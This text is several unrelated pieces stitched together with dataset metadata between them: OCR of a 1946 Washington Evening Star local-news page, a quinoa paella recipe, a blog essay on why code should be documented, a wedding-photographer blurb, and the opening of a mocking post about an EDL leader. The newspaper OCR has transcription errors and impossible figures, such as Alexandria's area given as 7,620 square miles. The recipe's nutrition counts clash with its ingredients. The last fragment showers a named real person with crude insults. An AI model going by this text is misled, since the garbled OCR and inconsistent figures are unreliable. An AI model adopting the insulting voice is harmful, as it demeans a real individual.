College. Istanbul, Turkey. Robert L. Mason, a graduate of the English department, Bainbridge Naval Training Station, who taught at the University of Pennsylvania. William B. Prendergast, a graduate of the University of Louvain, Belgium. Up Schedules Exhibitions of Livestock for Six Weeks Special Dispatch to The Star BLACKSBURG, Va., July 8— A schedule of livestock events to be held throughout Virginia over a Six-week period was announced today by George C. Herring, extension animal husbandman of Virginia Polytechnic Institute here. The events will include the sale of 114 heads of Hampshire, Southdown, and Shropshire rams and 170 head of bred cows, and Berkshire, Duroc, Hampshire, and Poland China boars, it was disclosed. The schedule is as follows: Commercial ram sales: Abingdon, Thursday (30 Hampshires), 5 Southdowns; Wytheville, July 16 (19 Hampshires); Christianburg, July 18 (16 Hampshires); Winchester, July 23 (20 Hampshires), 2 Southdowns, 4 Shropshires), and Orange, July 24 (20 Hampshires, 3 Southdowns, 5 Shropshires). Swine sales: Suffolk, July 31 (70 head); Winchester, August 2 (50 head), and Staunton, August 7 (50 head). Miss Campbell Quits County Nursing Post Miss Clara M. Campbell has resigned as public health nurse for Montgomery County to become nurse for the Bethesda-Chevy Chase and Leland High Schools, it was announced today. At the same time, the county health department announced that Mrs. Carolyn Rawlings, who resigned as a public health nurse two years ago, has rejoined the nursing staff. Oxon Hill Man, 70, Hurt By Exploding Auto Tire Oliver Cobb, 70, Oxon Hill, Md., suffered a concussion, a broken jaw, and head injuries when an automobile tire he was repairing exploded in his face yesterday, Prince Georges County police reported. He was taken to Casualty Hospital by the Marlboro Rescue Squad and was reported in good condition today. Cazel Joins American U. Prof. Gabriel F. Cazel of the Research and Statistics Division of the Bureau of Foreign and Domestic Commerce has been appointed assistant professor of economics and statistics on the faculty of the School of Social Sciences and Public Affairs at American University. President Paul F. Douglass announced yesterday. EVENING STAR CIVIC CUP AWARDED—Woolsey W. Hall, left, president of the Federation of Civic Associations, presents The Evening Star Trophy for civic achievement to George W. Johnson, president of the Mid-City Civic Association, on behalf of the organization he heads. The award was made in ceremonies at 1727 Thirteenth street N.W. yesterday. —Star Staff Photo. FBI Seizes Youth, 16, In Theft of Plane At National Airport The Federal Bureau of Investigation today announced the arrest of a 16-year-old youth, one of two who made an unsuccessful attempt yesterday to steal a twin-engined airplane from National Airport. An FBI spokesman said the youth lived in Maryland and that he has been released in the custody of His father. They did not say whether he was the pilot of the plane. However, a person of 16 can be licensed as a pilot. Although the spokesman said it "is too early yet" to explain the circumstances of the attempted theft, FBI investigators believe that there was no intent either to sell the plane or fly it out of the country. The pilot, airport officials said, paid a storage bill early yesterday on the plane—a Beechcraft owned by the W.W. Brinckerhoff Co.—and said it belonged to his father. While attempting to take off, according to their flight plan, the tailwheel locked, causing the plane to nose over and tearing off the right engine. The pilot and the other occupant of the plane, neither of whom was injured, left the plane and made their way past the airport guards, explaining they were going. To report the accident. FBI agents checked through the fingerprint flies of licensed pilots in an effort to match those found in the controls of the damaged plane. All pilots, even students, are fingerprinted by the CAA. This fact, coupled with a full description given by airport guards, it was understood, led to the apprehension of the 16-year-old youth. Maryland GOP Group To Start Platform Draft By the Associated Press BALTIMORE, July 18.—Chairman Galen L. Tait of the Republican State Central Committee disclosed yesterday that Enos S. Stockbridge would head an informal committee to draft a tentative platform at the party's State convention here July 22. Mr. Tait said Mr. Stockbridge’s committee would assist the convention's regular Platform Committee. Calling upon "Republicans generally" to mail platform suggestions to the party’s State headquarters, Mr. Tait said he had also asked party officials throughout the State for their ideas on a party program. "The opposition Democratic convention," he noted, "has been called for July 23. "We Republicans and independents therefore will start the campaign race a jump ahead as respects the convention date, and many jumps in front in our unity over the gubernatorial and other nominations and in our command of the issues. "We are determined to hold the lead and to continue our gains up to the finish line of this vital campaign for the success of our whole State, Federal and local tickets in Maryland," Mr. Tait declared. Rites for Rev. E. P. Frye Set for Wednesday By the Associated Press BALTIMORE, July 8. — Funeral services will be held Wednesday for the Rev. Ellis P. Frye, 57 Who was on sick leave from his pastorate at Trinity Methodist Church, Annapolis, when he died Saturday of a heart attack. The Rev. W. A. Roberts and the Rev. Dr. Fred C. Reynolds, superintendent of the Methodist Conference, will conduct the services. The Rev. Mr. Frye, who attended Johns Hopkins and George Washington Universities, served in four Baltimore pastorates before being appointed to the Annapolis church in June, 1945. He leaves his wife, a daughter, and a son. $1,500,000 Endowment To Be Sought for V. M. I. Special Dispatch to The Star LEXINGTON, Va., July 8.—A drive to raise at least a $1,500,000 endowment for Virginia Military Institute will be opened August 15 by the V. M. I. Foundation, Inc., alumni organization founded shortly before the war. About $100,000 already has been obtained. The drive will end November 11. George D. Brooke, Norfolk, chairman of the board of the Virginia Railway Co., is president of the foundation. Auto Group to Hear Byrd RICHMOND, Va., July 8.—Senator Byrd, Democrat of Virginia, will address the Automotive Trade Association of Virginia here July 15, Walter J. Wilkins of Norfolk, president, announced yesterday. Get-Out-Vote Drives For Virginia Senate Primary Planned By the Associated Press Down-the-stretch drives to get out the vote for Virginia’s senatorial Democratic primary were in the offing today as registrars throughout the State reported generally heavy registrations, swollen by the return of World War II veterans. The registration books closed Saturday. Indications of a heavier-than-usual. Primary vote on August 6 came as Senator Byrd, seeking renomination, and his opponent, Martin A. Hutchinson of Richmond, mapped speaking itineraries for the closing weeks of the campaign. Senator Byrd has only one speaking engagement this week, his weekly broadcast over Virginia radio stations, which for this week has been shifted from tonight to Thursday night. Mr. Hutchinson plans to speak at an Arlington County rally in Lyon Park Community House at 8:15 p.m. tomorrow and on Wednesday night will address Post 200, American Legion, in Richmond. Mr. Hutchinson also may broadcast another speech later this week, but he has stated that these plans still are tentative, as are arrangements for his remaining speaking engagements in the campaign. At least three other definite speaking engagements are on Senator Byrd's schedule and others are being quarantined. Partisans of both candidates have predicted a primary vote of about 200,000 and possibly 250,000. Both sides are striving for a heavy vote—the Byrd forces on the grounds that they want to roll up as convincingly large a majority as possible, the Hutchinson forces on the theory that the bigger the vote, the better their candidate's chances. John W. F. Kuehling, 59, of Strasburg, Va., a brother of Capt. Benjamin Kuehling of No. 4 Precinct, died yesterday in the Winchester (Va.) Hospital, where he had been for about 10 days. Mr. Kuehling had been in failing health for the past two and a half years, following severe burns received in an explosion and fire at his home at Bowie, Md. Funeral services will be held at 2 pm tomorrow at Pohick Church, Va., and burial will be in the church cemetery. He is survived by his widow, Mrs. Hallie Kuehling, and two sons, William, 15, and Robert, 13; a son, John, and a daughter, Mrs. Mary, 18. A daughter by a former marriage, Mrs. Lucille Zartman, Mansfield, Ohio; a sister, Mrs. Rena McClelland, Colmar Manor, Md., and Capt. Kuehling. Man, 41 Faces Charges Of Striking Mother, 78 Elmer W. Sowers, 41, of 3213 M street N.W. will face charges in Police Court today of striking his mother. Police said the elderly woman was treated at Georgetown Hospital. The incident occurred in the Sowers home at the M street address. The mother, Mrs. Emma J. Sowers, 78, was treated by hospital physicians for a fractured left wrist and lacerations on the head. The fracture was suffered as she fell after the blow, police said. Scheetz Will Provides For Home for Aged Special Dispatch to The Star WINCHESTER, Va., July 8.—A large portion of the real and personal property of the late Miss Lillian E. Sheetz is to go to the Henry and William Evans Home for Aged Persons, it was revealed under the terms of her will filed in Corporation Court. The home was authorized under the will of Miss Sheetz’s aunt, the late Mrs. L. C. Janney. If the home is not established, the will of Miss Sheetz provides the fund will go to home and foreign missions of the Southern Presbyterian Church. Chief individual beneficiary under the will is Miss Ora J. Turner, a cousin, who was left $15,000 in cash and personal items. D. C. Flyer Uninjured In Leonardtown Crash Special Dispatch to The Star EONARDTOWN, Md., July 8.— Charles Wormley, jr., 1736 Willard street N.W., Washington, escaped with scratches when his two-seater plane crashed on the farm of Dr. F. F. Greenwell. Near here last night, State police reported. The pilot said he was flying from Virginia to Upper Marlboro when his plane developed engine trouble. The plane overturned as it landed. Assessor Lists Valuation Boost In Alexandria $12,565,655 Gain In Three Years Is Reported Real estate tax assessments in Alexandria have been increased by $12,565,655 since the establishment of the city real estate assessor's office in 1943, Assessor Lewis M. Ansley reported today in his annual report to the City Council. His office replaced the real estate assessors and Real Estate Board of Equalizers, composed of Alexandria businessmen appointed at intervals by the City Council. Mr. Ansley, in review of the work of his office, including detailed reports for the years through 1945, said the general reassessment of all real property, consisting of 11,875 parcels as indicated on the 1945 Land Book, has now been completed. Population 70,000. As of January 1 of this year the city's estimated population was 70,000, the city budget was $2,007,380, marking the first time it has ever reached the $2,000,000 mark, real estate taxes were set at $1,225,000 and the total land area of the city was 7,620 square miles. Exclusive of public utilities, total assessed valuation of real estate was listed by Mr. Ansley for 1943 to 1946 as follows: January 1, 1943, $35,110,242; January 1, 1944, $40,582,123; January 1, 1945, $43,411,194, and January 1, 1946, $47,148,946. Assessments are set at fair market value, and the real estate tax levy is $2.50 a $100. The levy is based on 50 per cent of the fair. Market value, Mr. Ansley pointed out. Of the 11,875 parcels of property coming under the general reassessment in the three-year period, 7,782 were increased. 3,366 received no change in assessment and 727 were decreased. Policy Outlined. Mr. Ansley explained to the council that for taxation purposes “it is my conviction that values should follow price trends and be made relatively conforming but not until such trends have clearly demonstrated a substantial stabilization. Furthermore, the assessor has a definite responsibility to the property owner as well as the city and he must safeguard the interests of the property owner against excessive valuation with equal diligence and fairness that he displays in protecting the city’s justified and legitimate revenue.” The total increase in assessment in 1945 over 1944 was set at $3,737,752, divided approximately between new construction at $6,500,000, and reassessment and equalization at $5,500,000. Mr. Ansley said that in studying the real estate market, which has been especially active in the list two years, a check of 4,000 sales was made, showing they amounted to $9,182,885. The appraised value of the properties was $7,133,514, which indicated that the total sales value exceeded the value for taxation purposes by $2,049,371. Prices Up 30 Per Cent. On a percentage basis, Mr. Ansley said, the average sales prices were 30 per cent in excess of the appraised values, and while the percentage appeared comparatively high, “it must be borne in mind that sales prices during the past two years have spiraled upward at a very rapid pace.” The decrease in new construction in the three years was shown in the following totals: 1943, $934,650; 1944, $422. 4:00: 1945, $109,195. Throngs Return Here After Long Holiday It was back to work for Washington’s employees and all others fortunate enough to share in the four-day Independence Day holiday, as trains and buses brought the last, reluctant travelers home today. Late yesterday and all night travel facilities were jammed with the returning horde. Sunburned or tanned, they were back from the beaches or mountains—sadly projected into some of Washington’s hottest weather of the summer. For Government workers, the outlook was not made cheerier by the realization they must work a Saturday to compensate for the long weekend. A score of extra sections were run by Pennsylvania and Baltimore & Ohio railroads to carry the extra traffic, regarded as the heaviest since the Christmas holidays. The influx was still heavy as late as 10 a.m. today with the arrival of western trains. Bus and automobile traffic also was heavy. The bus companies put on all available extra equipment to handle the throngs returning from Virginia and Maryland beaches. Montgomery Sets Date for 4-Hampfire The annual Montgomery County 4-H Campfire will be held at Cedar Grove July 18, it was announced today. Bruce Stockman is chairman of the Arrangements Committee, composed of Betty Jane King, Marian Linthicum, Carol Schaffer, Thomas Day, and Maurice King. INAUGURATE THROUGH TRAIN TO MEXICO CITY—Attorney General Clark (left) and Wanda Lyle and Dale Miller (right) of the Texas Society of Washington taking part in send-off ceremonies for the “Sunshine Special.” Mr. Miller is shown handing Miss Lyle, named “Miss Sunshine” for the occasion, greetings from the society to Gov. Coke R. Stevenson of Texas. —AP Photo. O'Connor Orders Police To Furnish Jury Data On Holdup at Club By the Associated Press BALTIMORE, July 8.—Chief Inspector Joseph M. Wallace of the Baltimore Police Department was under orders from Gov. O'Connor to present to the grand jury all available information concerning the fourth-of-July shotgun robbery of some 23 members of a Baltimore Athletic Club. Mr. Wallace disclosed yesterday he had alerted the police of 21 nearby States in a search for four men supposed to have taken part in the affair after police broke the stubborn refusal of victims to admit a robbery had taken place. Mr. Wallace did not say he had found anyone who would make such an addition, but the police alarm said the four men "could be identified." Takes Charge Personally. The Governor assumed personal charge of the investigation yesterday when he learned of the absence from the city of Police Commissioner Hamilton R. Atkinson. He ordered Mr. Atkinson to return immediately. Gov. O'Connor pointed out that victims of the hold-up were "compelable witnesses," who could be penalized if they refused to testify. Mr. Wallace said the alarm had been sent out after police verified a telephone company report that wires leading to the club had been cut on the afternoon of the Fourth. Stories of the robbery, which first came to light Friday with an anonymous tip to police from a man who refused to identify himself because he feared for his life, have been current in "the Block." "Baltimore's Tenderloin—since." 23 Members Robbed. One version is that six men carrying florist’s boxes entered the club and asked for a member. When he appeared, they drew sawed-off shotguns from the boxes, lined the 23 members present against the wall and forced them to remove their trousers. After taking the contents of the pockets—estimated variously at $35,000 to $60,000 in cash and jewelry—they carefully tied knots in the legs of the pants and fled in a car bearing New Jersey license tags. Description of the men sought tally with those of four men for whom police are still looking in connection with the armed robbery of members of the Independent Democratic Association’s club last January. Maj. Fischer Takes Old Post Asakoma Park Raises Pay Maj. William F. Fischer, who resigned July 1 as superintendent of public works for the town of Takoma Park, Md., was reinstated Saturday night at a special meeting of the town council with a salary increase of $200 a year. In his resignation, Maj. Fischer charged that Mayor Oliver W. Youngblood and members of the town council with discrimination, claiming that other town officials had been given increases in salary and that he had been overlooked. For this reason, he declined reappointment on July 1, when his term of office expired. Mayor Youngblood stated that his new salary would be $3,200 a year, dating from July 1. He said that there were a number of other employees who did not get increases at the beginning of the fiscal year, July 1. Maj. Fischer was present at the meeting last night and withdrew his resignation following a call for a meeting. Action by the council. Dr. Marti Takes New Post Dr. Fritz Marti, head of the philosophy department at the University of Maryland since 1935, has been appointed professor of philosophy at Marietta (Ohio) College, College Park officials announced today. Motorist Faces Seven Charges After 90-Mile-an-Hour Chase A 22-year-old Arlington man today was to face seven traffic charges in Hyattsville police court following an 18-mile, 90-mile-an-hour chase over Maryland roads. Maryland State police said they have charged Newton Hunt Lee, 22, of the 2300 block of Wilson boulevard, with exceeding 100 miles an hour, reckless driving, failing to stop after an accident, failing to stop after an accident, failing to obey a traffic signal, failing to obey a policeman and failing to have a registration card in his car. Police said Trooper J. P. Armstrong started the chase early yesterday in Beltsville. When the speeding car pulled away, the trooper radioed ahead and Trooper E. B. Griffith and Sgt. R. M. Hignutt were waiting at Laurel where they joined in the chase. Police said Lee was stopped by a road obstruction, but when Trooper Griffith pulled up, Lee went into reverse and damaged the police car. Lee then sped on out the Washington-Baltimore boulevard, police said, and turned off at Waterloo toward Fort Meade. Trooper Armstrong, still in pursuit, nearly turned over when his car spun around on the curve. By that time Trooper A. H. Robbins had joined the pursuit and, according to police, overtook the driver near Fort Meade. Police said Lee tried to force Trooper Robbins off the road before he was forced off by the police car. Kindler's Delay Keeps Smallens At Water Gate Delayed on his South American tour by public demand for additional performances, Dr. Hans Kindler, founder and permanent conductor of the National Symphony Orchestra, will be unable to return in time to conduct his scheduled Water Gate concerts July 14, 17, and 19. Instead, the guest conductor next week will be Alexander Smallens, conductor of the Lewisohn Stadium Concerts in New York, who opened the Water Gate season here. Dr. Kindler is expected to return for the final Water Gate concert of the current season Friday, July 26. After his first appearance in Santiago, Chile, Dr. Kindler was asked to double his scheduled number of performances there. Now conducting in Lima, Peru, he will stop in Panama City and then Guatemala before heading back for Washington. O'Connor Names Seven More to Guard Posts July 8.—Seven more officers were named yesterday as follows: Brig. Gen. Henry C. Evans, Baltimore, assistant commanding general of the 29th and senior officer of the Maryland troops, and made six other appointments as his initial. Step in reorganizing the guard division. Gov. Tuck of Virginia appointed Brig. Gen. William H. Sands, Norfolk, as commanding general of the 29th. Following are the appointments made yesterday on recommendations submitted by Maj. Gen. Milton A. Reckord, Maryland adjutant general: Lt. Col. John P. Cooper, commanding F. A. Battalion; Lt. Col. David G. McIntosh III, commanding F. A. Battalion; Lt. Col. Robert L. Gould, A. C., commanding 104th Fighter Squadron; Col. George H. Yeager, M. C., division surgeon; Lt. Col. Robert C. Kimberly, M. C., commanding 104th Medical Battalion; Maj. William M. Brady, infantry, to organize a battalion of quartermaster truck companies, and Maj. Harry M. William, M. C., medical officer for quartermaster battalion. The latter two are in command of colored units in the re-established State military setup. Forest Glen Patients To Get Canal Trip Thirty amputees from the Bethesda Naval Hospital and the Army's convalescent center at Forest Glen will be guests of the Bethesda USO Chapter on a barge trip on the Chesapeake & Ohio canal tomorrow. The trip is sponsored jointly with Government Services, Inc., operators of the canal trips for the National Parks Service. A wire machine will be carried along to record material for a national radio broadcast. Miss Louise Meroney, assistant director of the chapter, is in charge, assisted by Miss Betty Moore, chairman of a committee arranging the trip. Maryland State Guard To Train at Ritchie By the Associated Press BALTIMORE, July 8.—The Maryland State Guard will return to Camp Ritchie for the first time since 1942 for its annual field training program from July 28 to August 4, Maj. Gen. Dwight H. Mohr, commanding general, has announced. He said nine battalions, totaling approximately 1,500 to 1,600 members, are expected to attend. Lt. Col. George D. Harman will Supervise training. Saturday, August 3, will be governor’s day and the Guard will break camp Sunday, Gen. Mohr said Prisoner at Richmond Penitentiary Flees By the Associated Press RICHMOND, Va., July 8.—Norman Harvey, 40, a prisoner at the State Penitentiary, escaped today by walking off his job of painting woodwork in the State Corrections Building, next door to the penitentiary. Harvey was serving sentences to stealing 11 years, including one year for grand larceny, imposed in the Roanoke Hustings Court and 10 years for a third conviction. New Railroad Service Links Capital With Mexico, Southwest A new railroad service from Washington and East Coast points to Mexico City and the Southwest, giving “through car” passenger travel accommodations, was inaugurated last night when the “Sunshine Special” pulled out of Union Station at 8:45 p.m. Attorney General Clark headed a group of Texans, Mexican Embassy officials and railroad representatives who attended special send-off ceremonies. "This train links the capitals of two great countries and will aid President Truman in bringing into further and more actual realization the 'good neighbor’ policy of the late President Roosevelt,” Mr. Clark said. “In this way, commerce and industry fords a length of steel between two democratic countries of the Americas.” Selected by the Texas State Society of Washington to be “Miss Sunshine” was Wanda Lyle, 15, daughter of Representative Lyle, Democrat, of Texas, who bore special greetings. To Gov. Stevenson of Texas from the society. The new service is operated on a cooperative basis by the Pennsylvania Railroad. Missouri Pacific Lines and the National Railways of Mexico. Similar through-car service, eliminating the changeover at St. Louis heretofore required of all rail passenger travelers between the East and Southwest, also was initiated last night by the Baltimore & Ohio Railroad. Two From This Region Die of Spotted Fever Rocky Mountain spotted fever took the lives of a Montgomery County woman and a Virginia man yesterday. Mrs. Phena Neely, 76, German town, died in Suburban Hospital, Bethesda, of the disease, according to hospital authorities. It was the first death this year from spotted fever in Montgomery County. Mrs. Neely was admitted to the hospital last Wednesday. John Alexander Hope, 65, of Leesburg, Va., died in the Frederick Hospital. His death was the second due to that cause at the hospital this year. Mr. Hope was brought to the hospital a week ago and his illness was not diagnosed immediately, as relatives said he had no knowledge of being bitten by a tick. Funeral services will be held at 11 a.m. tomorrow in Christ Episcopal Church, Lucketts, Va., with the Rev. Howard Cady officiating. Survivors include a brother, Charles R. Hope, Purcellville, Va. Six cases of spotted fever have been reported this year in suburban Maryland and Virginia communities. State Department Drafts Soviet Broadcast Plans The State Department is working out plans for broadcasting news and other programs by short-wave to Russia as part of a Long-range effort to promote better understanding of the United States throughout the world. The Russian language broadcasts, expected to begin early in the fall, are made possible by a $19,250,000 appropriation voted by Congress to finance the international information and cultural program under Assistant Secretary of State William Benton for the next fiscal year. In preparation for the broadcasts, Mr. Benton's staff is seeking to develop a competent Russian language staff and solve the technical problem of how to boost radio signals sent out from the United States so they may be strong enough for good reception in Russia. A wartime relay station at Algiers may be used. The Soviet Union long has been broadcasting to the United States, Great Britain, and other countries, but Britain is the only one of the major Western powers already broadcasting to Russia. Winchester Unit Honors Schenck as Best Citizen Special Dispatch to The Star WINCHESTER, Va., July 8.—Clarence F. Schenck, businessman, who was last week cited by the Lions Club as its outstanding member for 1945, was honored again Saturday night, when the Junior Board of Trade selected him as the outstanding Winchester citizen for the same year. Majority of Girls Find Work or Go to School USES Also Reports More Placement in Jobs During War Ten out of every 12 veterans discharged by early June either were employed or taking advantage of educational provisions of the GI Bill of Rights, it was revealed today by Robert C. Goodwin, director of the United States Employment Service. The local office of the USES also reported More placements of persons in jobs last month as compared to earlier months in the year. Fred Z. Hetzel, director of the District office, said local employers hired 52 percent of the persons sent by USES for interview as compared to 48 percent in May. A total of 3,256 persons were placed in June of which 767 were veterans, Mr. Hetzel said. Veteran Backlog Reduced. For the third straight month, the Nation's backlog of veterans not at work has been reduced in spite of the continued discharge of men from the armed forces, according to Mr. Goodwin. “The number of veterans over the Nation who were not working or were seeking employment decreased by 170,000.” Mr. Goodwin stated. “Total veterans in this non-working group, excluding those in school, dropped from 1,690,000 in May to 1,520,000 in June.” Mr. Goodwin made this statement in a review of the current report of the Bureau of Census relative to the American labor force. The review disclosed, he said, that 9,840,000 of the 11,340,000 discharged veterans covered in the survey are at work with an additional 600,000 at school. The figures showed that veterans in the civilian labor force heretofore listed as unemployed are coming into the employment picture in increasing numbers, Mr. Goodwin said. U. S. Gets Most Workers. In the District, the USES reported the wholesale and retail trade gained the greatest number of new personnel sent by the office processing trade, service and industrial opportunities while the Government topped the list of employers getting new employees from the office professing commercial, professional and technical jobs. Meanwhile, the Veterans of Foreign Wars today urged Congress to approve the Veterans Employment and National Economic Development Corporation Act, which provides for the establishment of an agency to handle veterans unemployment problems, as "emergency legislation for an increasingly alarming condition within the nation." Joseph M. Stack, VFW national commander, said the legislation would "provide for new jobs and opportunities rather than displace here has been too much conversation about jobs for veterans and too little action," he declared, adding that it is "better to lead veterans into self-sufficiency than to lead them into the public trough of the fount of workers already engaged in action." United States Treasury Prince Georges K. of C. Elects Morris as Head J. Barker Morris has been elected grand knight of Prince Georges Council, No. 2809, Knights of Columbus, with Luis Granados, deputy grand knight; H. Winship Wheatley, jr., chancellor; Thornton Camfield, recorder; William R. Reading, treasurer; Albert P. Wheatley, advocate; Joseph C. Maratta, warden; Walter M. Pendleton, inside guard; Frank Fox and Ralph H. Lewis, outside guard, and Guy R. Moore, trustee for three years. Officers appointed include the Rev. Edward H. Roach, pastor of St. Jerome’s Church, Hyattsville, chaplain; Paul A. Barbot, financial secretary, and John B. McBride, lecturer. Prince Georges Council during the year obtained 117 new members or more than 500 percent of its quota. Pin Pricks Used in Test of Children's Blood By the Associated Press BALTIMORE, July 8.—Pin pricks, instead of a suction needle, are being used now in blood tests for children at the Johns Hopkins Hospital, Dr. Edwin L. Crosby, director, announced. Dr. Crosby said microanalytical laboratory methods make it possible to determine both the sugar content and the sulphur level of the blood specimen in minute quantities. He explained that extraction of even normal amounts of blood from infants often proved injurious and added that interns found it difficult to use a needle with a resisting child. Uncle Sam Says Entries Pay Off SAVINGS BONDS The wise money is on Sureshot, friend. You won’t find him in this race or in any race. And yet Sure shot runs every moment of your life. He pays off $4 for every $3 at all of my windows in banks and at the Treasury Department. All you have to do is to keep your money on Sureshot and you don’t care if he doesn’t come in for 10 years. This is one bet which your Uncle Sam can guarantee as a winner. You're one American I don’t have to tell that Sureshot has another more familiar name: United States Savings Bonds. U. S. Treasury Department. | common_corpus | {'identifier': 'sn83045462_1946-07-08_1_18_1', 'collection': 'US-PD-Newspapers', 'open_type': 'Open Culture', 'license': 'Public Domain', 'date': '', 'title': 'None', 'creator': 'None', 'language': 'English', 'language_type': 'Spoken', 'word_count': '5619', 'token_count': '7704', '__index_level_0__': '34627', 'original_id': 'b80cfa812f452d1b604ba148c7aa3fa29d39fccbf4794bb51252e9e68d978857'} |
Spicy Quinoa Paella
• Yield: servings
Olive oil spray
1/4 onion, chopped
1clove garlic, crushed
1/2 red bell pepper, diced
pinch red pepper flakes
1/4teaspoon dried oregano
1/4teaspoon ground coriander
1/2cup diced zucchini
4ounces chicken, cubed
1/4cup uncooked quinoa, rinsed and drained
3/4cup low-sodium chicken broth
2cups chopped fresh spinach
1. Heat a skillet over medium- high heat. Coat with olive oil spray.
2. Sauté the onion, garlic, and bell pepper for 4 to 5 minutes, until tender.
3. Stir in the pepper flakes, oregano, coriander, and zucchini and cook for 2 minutes.
4. Add the chicken and sauté for 3 minutes, stirring occasionally to cook all sides.
5. Add the quinoa and allow it to toast for 2 minutes.
6. Pour in the broth, lower the heat, and cover. Cook for 15 minutes, or until the quinoa is cooked through and the broth is absorbed.
7. Add the spinach and stir in until wilted.
Nutritional Info *per serving
• Calories 363
• Fat 5g
• Carbohydrate 45g
• Protein 5g
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There are a plethora of acronyms when it comes to software development. KISS, DRY, SOLID… and so on and so forth. But, when it comes to documenting or commenting your code, there is no simple catchphrase.
Why is that?
Documentation should be as important to a developer as all other facets of development
In this article, I’ll argue why documenting your code will lead to becoming a better developer, and will contribute to being a great team member.
Ain’t nobody got time for that
The main reason code goes undocumented is because of time.
When developing a feature that needs to be completed within a certain time frame, rarely do we have a moment to stop everything and focus on documenting our code.
Apart from designing and writing the code itself, we also need to undergo code reviews, automation tests, and add unit tests (to name a few things). Documentation is pretty much left out of the equation.
It is the least thought about detail that can make the most difference in the future.
No matter what you are developing, chances are that some day you or one of your colleagues will have to revisit it. When that day comes, you will not remember so vividly what you wrote and why.
And if you do remember, there may be some edge cases or specific uses which may not be clearly apparent. The obvious solution is documentation.
Taking that extra time to write a proper description of what you worked on will save huge amounts of time in the future.
Next time someone wants to understand what happens inside your code, all you have to do is point them to the documentation. It will save time for you, since you won’t need to explain things, and it will save time for them, since they won’t be dependent on you.
And after all, when you, as a developer, need to understand something about a certain aspect of coding, what do you do?
? You go to the documentation ?
Good code does not need documentation
Yeah, I know, I know… well written code, that is concise and well thought out, does not need to be documented. It reads like a story.
While that may be so, it does not forego the need for documentation, and here is why:
1. We are all too familiar with the robustness of code that comprises a feature. Looking at one section of code, may not make it clear there are other sections that are deeply linked to it.
2. Every service you create has a unique API to it. Writing how to use that API requires documentation that can be read outside of the code. You do not want to inflate the class itself with details about how to use the API.
3. Coworkers who work in different departments (who may not be developers) may want to understand what you did and how it works.
4. Just the act itself may cause you to look differently at the code you wrote. Explaining what your code does will cause you to assess the validity of it and to maybe consider changing things if they do not meet your expectations.
5. For posterity’s sake
“A person writing with a pencil in a notebook with pencil shavings on it” by Thought Catalog on Unsplash
How to write good documentation
Good documentation is like a good block of code. Short, simple, and easy to understand. Here are a few guidelines you can follow:
• Understand who the documentation is aimed at. Is it only for developers? Is there a broader audience? Understanding this will save you time, since you will know up front how much to elaborate in your explanations.
• Write a short, but descriptive background explaining the main points of what you built. This will help readers understand the purpose of the feature and ascertain its relevance to what they want to know.
• List and describe the main perspectives of your feature, making sure to point out any dependencies that exist with other features.
• Make sure there is a timestamp, to tell readers the validity of the documentation. Also, if you are using certain libraries, be sure to include their versions as well.
• Be generous with your coding examples, detailing how to properly use the feature you wrote and showcase the expected results.
To further understand how good documentation looks like, we’ll review some great examples: Mozilla’s Developer Network(MDN), Django and Stripe.
Notice the quick links at the top for easier navigation
In MDN’s documentation, you can clearly see that each page starts with a brief explanation about the subject.
Then, it proceeds to detail the use cases and methods. Finally, it shows which browsers are compatible with the feature and gives links to relevant material.
In Stripe’s documentation, each subject has code snippets that can be viewed in various coding languages
Django’s documentation is very robust. No matter your coding level, they start you off with an overview and tutorials.
Then, they go through each subject, detailing it meticulously, giving short and concise code snippets that demonstrate what needs to be done
I hope I have managed to stress the importance of documentation and have given you some pointers on how to start documenting your code. If you have an idea for an acronym for documentation, feel free to do so in the comments below.
Maybe KID — Keep It Documented?
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St Augustine Wedding Photographer at Lick Skillet
St Augustine Wedding Photographer at Lick Skillet
First Looks in Winter Months
You either love first looks or you do not. I have found that couple's are split on first looks, there isn't really a grey area. In winter months, I encourage couples to take advantage of a first look. Especially when they are having a later ceremony time.
When sunset is earlier in the day, a later ceremony leaves no time for sunny, daytime pictures if you opt to not do a first look. With a first look, you are able to have daytime photos done and have nighttime pictures. Additionally, a first look allows you to have time alone on a whirlwind day. I've never seen a first look take away from the moment you walk down the aisle. If anything, it adds to the day because you've had time together.
Location: 4523 Lakeshore Dr, Orange Park. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9406035542488098}", 'metadata': "{'Content-Length': '20402', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:ZP624EC24DNCURUEBDLAKZON5HIQ5G7M', 'WARC-Concurrent-To': '<urn:uuid:3b894d49-e38e-495d-907d-a25ac45c4724>', 'WARC-Date': datetime.datetime(2018, 10, 16, 23, 11, 43), 'WARC-IP-Address': '54.201.219.7', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:5DG6TYEY7M3OW5NBDRMQXA5JBGNPLX5Q', 'WARC-Record-ID': '<urn:uuid:3b5b92f9-0207-43fa-97fd-d91ca6c8e7e2>', 'WARC-Target-URI': 'https://www.bethanywalterphotography.com/weddings/st-augustine-wedding-photographer-lick-skillet', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:39151393-8cad-4d88-b737-0a706d6bae98>', 'WARC-Truncated': None}", 'previous_word_count': '155', 'url': 'https://www.bethanywalterphotography.com/weddings/st-augustine-wedding-photographer-lick-skillet', 'warcinfo': 'isPartOf: CC-MAIN-2018-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2018\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-111-247-49.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.04075199365615845', 'original_id': '1b642e310356bb88f7789846e9b875ea51c3f4f10274ed4078b0ff803ddc09e5'} |
A bit late but anyway …
The last few weeks have seen the hilarious spectacle of EDL leader Ian ‘Stiffy’ Crossland exposed across the world’s media as a raddled old corpse of a joke. Sources tell us that he has still not recovered from being humiliated at his Birmingham demo by Saffiyah Khan and he is refusing to leave the tent he occupies in the back garden of his ex-partner. For some reason he hasn’t quite seen the funny side of it all so here are 10 reasons why ‘Sticky’ Crossland is a fuck-bugling jizz-spigot on a massive global scale!
